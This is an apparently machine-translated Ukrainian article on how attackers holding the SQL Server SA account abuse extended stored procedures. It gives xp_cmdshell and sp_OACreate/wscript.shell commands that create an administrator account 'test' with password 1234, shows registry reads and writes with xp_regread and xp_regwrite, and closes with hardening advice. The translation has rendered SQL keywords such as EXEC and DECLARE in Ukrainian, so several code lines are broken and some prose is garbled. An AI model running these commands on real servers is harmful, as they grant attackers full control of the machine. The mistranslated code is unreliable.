Збережені процедури — це сукупність попередньо написаних SQL-операторів, збережених у SQLServer, серед яких найнебезпечнішими розширеними збереженими процедурами є xp_cmdshell, які можуть виконувати будь-які інструкції операційної системи, а SA — це обліковий запис адміністратора Microsoft SQLServer, з найвищими правами, він може виконувати розширені збережені процедури та отримувати повернені значення, такі як виконання:
Виконавчий майстер... xp_cmdshell 'net user test 1234 /add' та exec master: xp_cmdshell 'net localgroup administrators test /add'
Таким чином, до системи іншої сторони додаються тест з іменем користувача, пароль 1234 та права адміністратора, як показано на рисунку 1.
Тепер ви маєте зрозуміти, чому ви отримуєте пароль SA і отримуєте найвищі привілеї системи. Часто багато мережевих адміністраторів не знають про цю ситуацію і мають прості паролі, такі як 1234 і 4321, для своїх користувачів SA, або взагалі не встановлюють паролі, щоб зловмисники мережі могли легко відсканувати пароль SA за допомогою деяких хакерських інструментів і керувати комп'ютером.
Окрім xp_cmdshell, існують також збережені процедури, які можуть бути використані порушниками:
1. xp_regread (ця розширена збережена процедура може читати значення, вказане в ключі, зазначеному в реєстрі), як її використовувати (отримати ім'я машини):
ОГОЛОСИТИ@testварчар(50) ВИКОНАВЧИЙ МАЙСТЕР.. xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='system\controlset001\control\computername\computername', @value_name='computername', @value=@test ВИХІД ВИБРАТИ @test
2. xp_regwrite (ця розширена збережена процедура може записувати значення, зазначене в ключі, зазначеному в реєстрі), і як його використовувати (записувати bbb у ключі HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
ВИКОНАВЧИЙ МАЙСТЕР.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\aaa', @value_name='aaaValue', @type='REG_SZ', @value='bbb'
Якщо адміністратор-користувач скомпрометованого комп'ютера може переглядати інформацію HKEY_LOCAL_MACHINE\SAM\ у реєстрі, то дві збережені процедури xp_regread і xp_regwrite можуть бути використані для клонування адміністратора-користувача та отримання прав адміністратора. xp_regdeletekey. xp_regdeletevalue також принесе ризики для безпеки системи. 3. Серія процедур зберігання, пов'язаних із OLE, має sp_OACreate, sp_OADestroy, sp_OAGetErrorInfo, sp_OAGetProperty, sp_OAMethod, sp_OASetProperty, sp_OAStop, використання:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test 1234 /add'--
Таким чином, інша система додає тест з іменем користувача та користувача з паролем 1234, після чого виконує:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c адміністратори локальної групи net test /add '--
Тест користувачів, додано до групи адміністраторів. Рішення: Дайте SA пароль, достатньо складний, щоб ускладнити злам кіберзловмисникам. Для безпеки також потрібно використовувати збережені процедури в SQLS sp_addextendedproc sp_dropextendedproc аналізаторі запитів Erver's sp_dropextendedproc видаляти збережені процедури, такі як xp_cmdshell, а потім використовувати sp_addextendedproc відновлення за потреби. Слід зазначити, що видалення збережених процедур, пов'язаних із OLE, може призвести до непридатності деяких функцій у Enterprise Manager, і автор не рекомендує їх видаляти тут.
Тепер, коли ми знаємо, як користуватися SP_OACREATE, ми можемо зайти на \WINNT \system32, щоб знайти cmd.exe, net.exe і net1.exe три файли, і видалити всіх користувачів, які мають до них доступ у «Властивостях» — «Безпека», щоб не використовувати SP_OACREATE для збільшення кількості користувачів системи, і додавати користувачів доступу, коли потрібно отримати доступ до цих файлів.
|